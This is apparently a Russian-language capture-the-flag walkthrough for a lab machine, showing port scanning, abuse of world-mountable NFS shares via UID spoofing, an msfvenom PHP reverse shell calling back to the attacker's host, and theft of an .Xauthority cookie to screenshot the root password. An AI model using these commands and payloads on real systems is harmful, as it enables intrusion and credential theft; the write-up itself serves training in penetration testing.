Обзор сервисов

Начнем с обзора сервисов, крутящихся на машине, которая имеет IP-адрес 10.10.11.191.

$ nmap -sV -sC -Pn -p1-65535 -oN 10.10.11.191 10.10.11.191  
Starting Nmap 7.94 ( <https://nmap.org> ) at 2023-06-21 06:10 EDT  
Nmap scan report for 10.10.11.191  
Host is up (0.056s latency).  
Not shown: 65527 closed tcp ports (conn-refused)  
PORT STATE SERVICE VERSION  
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:  
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)  
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)  
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)  
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))  
|_http-server-header: Apache/2.4.41 (Ubuntu)  
|_http-title: Built Better  
111/tcp open rpcbind 2-4 (RPC #100000)  
| rpcinfo:  
| program version port/proto service  
| 100000 2,3,4 111/tcp rpcbind  
| 100000 2,3,4 111/udp rpcbind  
| 100000 3,4 111/tcp6 rpcbind  
| 100000 3,4 111/udp6 rpcbind  
| 100003 3           2049/udp nfs  
| 100003 3           2049/udp6 nfs  
| 100003 3,4 2049/tcp nfs  
| 100003 3,4 2049/tcp6 nfs  
| 100005 1,2,3 34466/udp mountd  
| 100005 1,2,3 38577/tcp mountd  
| 100005 1,2,3 44169/udp6 mountd  
| 100005 1,2,3 52511/tcp6 mountd  
| 100021 1,3,4 33269/udp nlockmgr  
| 100021 1,3,4 34403/tcp nlockmgr  
| 100021 1,3,4 35354/udp6 nlockmgr  
| 100021 1,3,4 37711/tcp6 nlockmgr  
| 100227 3           2049/tcp nfs_acl  
| 100227 3           2049/tcp6 nfs_acl  
| 100227 3           2049/udp nfs_acl  
|_ 100227 3           2049/udp6 nfs_acl  
2049/tcp open nfs 3-4 (RPC #100003)  
34403/tcp open nlockmgr 1-4 (RPC #100021)  
38577/tcp open mountd 1-3 (RPC #100005)  
44123/tcp open mountd 1-3 (RPC #100005)  
60893/tcp open mountd 1-3 (RPC #100005)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .  
Nmap done: 1 IP address (1 host up) scanned in 55.39 seconds

Открыты SSH (22), HTTP (80) и NFS (111).

Вебка

Посмотрим, что содержит веб-интерфейс.

Alt text

Ничего интересного.

NFS

Проверим NFS-шары. Выясняется, что их можно примонтировать:

$ showmount -e 10.10.11.191  
Export list for 10.10.11.191:  
/home/ross    *  
/var/www/html *  
$ mkdir -p ross html  
$ sudo mount -t nfs 10.10.11.191:/var/www/html html -o nolock  
$ sudo mount -t nfs 10.10.11.191:/home/ross ross -o nolock

Проверим, какой пользователь нужен:

$ ls -lan  
total 24  
drwxr-xr-x 5 1000 1000 4096 Jun 21 08:27 .  
drwxr-xr-x 5 1000 1000 4096 Jun 21 06:09 ..  
drwxr-xr-- 5 2017 33 4096 Jun 21 08:25 html  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 ross

Чтобы ходить по каталогам, нужны пользователь с UID 1001 и GID 1001 для каталога ross, а для каталога html пользователь с UID 2017 и GID 33.

Эти каталоги мы пройдем двумя путями.

Создадим пользователя с UID 2017 и GID 33:

sudo useradd squashed-www -u 2017 -g 33 -m -s /bin/bash  
sudo -u squashed-www /bin/bash

Обнаруживается, что мы можем записывать в этот каталог свои файлы. Загрузим реверс шелл:

$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.159 LPORT=80 -f raw -o shell.php  
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload  
[-] No arch selected, selecting arch: php from the payload  
No encoder specified, outputting raw payload  
Payload size: 1111 bytes  
Saved as: shell.php  
$ nano shell.php

## тут нужно удалить комментарий в первом символе

$ cp shell.php html/shell.php  
$ msfconsole  
msf> use multi/handler  
msf> set payload php/meterpreter/reverse_tcp  
msf> set LHOST 10.10.14.159  
msf> set LPORT 80  
msf> run

Перейдем на http://10.10.11.191/shell.php и поймаем шелл:

Alt text

Пользовательский флаг

Сразу же забираем флаг пользователя:

$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
 inet 127.0.0.1/8 scope host lo  
    valid_lft forever preferred_lft forever  
 inet6 ::1/128 scope host  
    valid_lft forever preferred_lft forever  
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000  
 link/ether 00:50:56:b9:94:e7 brd ff:ff:ff:ff:ff:ff  
 inet 10.10.11.191/23 brd 10.10.11.255 scope global ens160  
    valid_lft forever preferred_lft forever  
 inet6 dead:beef::250:56ff:feb9:94e7/64 scope global dynamic mngtmpaddr  
    valid_lft 86399sec preferred_lft 14399sec  
 inet6 fe80::250:56ff:feb9:94e7/64 scope link  
    valid_lft forever preferred_lft forever  
$ ls  
Desktop  
Documents  
Downloads  
Music  
Pictures  
Public  
Templates  
Videos  
snap  
user.txt  
$ cat user.txt  
8c342bc59096087e33c55dd5b37d18f8

Alt text

NFSShell

Вторую часть выполним с помощью утилиты nfsshell. Нам необходим пользователь с UID 1001, GID 1001. При осмотре каталога /home/ross был найден файл .Xauthority:

$ /opt/nfsshell/nfsshell  
nfs> host 10.10.11.191  
nfs> mount /home/ross  
nfs> uid 1001  
nfs> gid 1001  
nfs> ls -l  
nfs> ls -l  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 ..  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .Xauthority  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .bash_history  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .cache  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .config  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .gnupg  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .local  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .viminfo  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .xsession-errors  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .xsession-errors.old  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Desktop  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Documents  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Downloads  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Music  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Pictures  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Public  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Templates  
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Videos  
nfs> get .Xauthority  
.Xauthority? y

С помощью этого файла мы можем по инструкции снять скриншот экрана с сессии, у которого запущен X-сервер:

$ cat .Xauthority | base64 -w 0  
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABCwgGRnPgbJkM3Rz48fe8U4

## на машине за пользовательскую сессию

$ cd /tmp  
$ echo AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABCwgGRnPgbJkM3Rz48fe8U4 | base64 -d > .Xauthority  
$ export XAUTHORITY=/tmp/.Xauthority  
$ xwd -root -screen -silent -display :0 > screenshot.xwd  
meterpreter > download /tmp/screenshot.xwd  
[_] Downloading: /tmp/screenshot.xwd -> /home/kali/screenshot.xwd  
[_] Downloaded 1.00 MiB of 1.83 MiB (54.52%): /tmp/screenshot.xwd -> /home/kali/screenshot.xwd  
[_] Downloaded 1.83 MiB of 1.83 MiB (100.0%): /tmp/screenshot.xwd -> /home/kali/screenshot.xwd  
[_] Completed : /tmp/screenshot.xwd -> /home/kali/screenshot.xwd  
$ convert screenshot.xwd screenshot-min.png

Alt text

Получаем креды суперпользователя root:cah$mei7rai9A.

Флаг суперпользователя

Осталось забрать флаг:

$ su  
cah$mei7rai9A  
$ id  
uid=0(root) gid=0(root) groups=0(root)  
$ cd /root  
$ ls  
Desktop  
Documents  
Downloads  
Music  
Pictures  
Public  
root.txt  
scripts  
snap  
Templates  
Videos  
$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
 inet 127.0.0.1/8 scope host lo  
    valid_lft forever preferred_lft forever  
 inet6 ::1/128 scope host  
    valid_lft forever preferred_lft forever  
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000  
 link/ether 00:50:56:b9:94:e7 brd ff:ff:ff:ff:ff:ff  
 inet 10.10.11.191/23 brd 10.10.11.255 scope global ens160  
    valid_lft forever preferred_lft forever  
 inet6 dead:beef::250:56ff:feb9:94e7/64 scope global dynamic mngtmpaddr  
    valid_lft 86393sec preferred_lft 14393sec  
 inet6 fe80::250:56ff:feb9:94e7/64 scope link  
    valid_lft forever preferred_lft forever  
$ cat root.txt  
11219f4268df68a5d0c7c330de09f885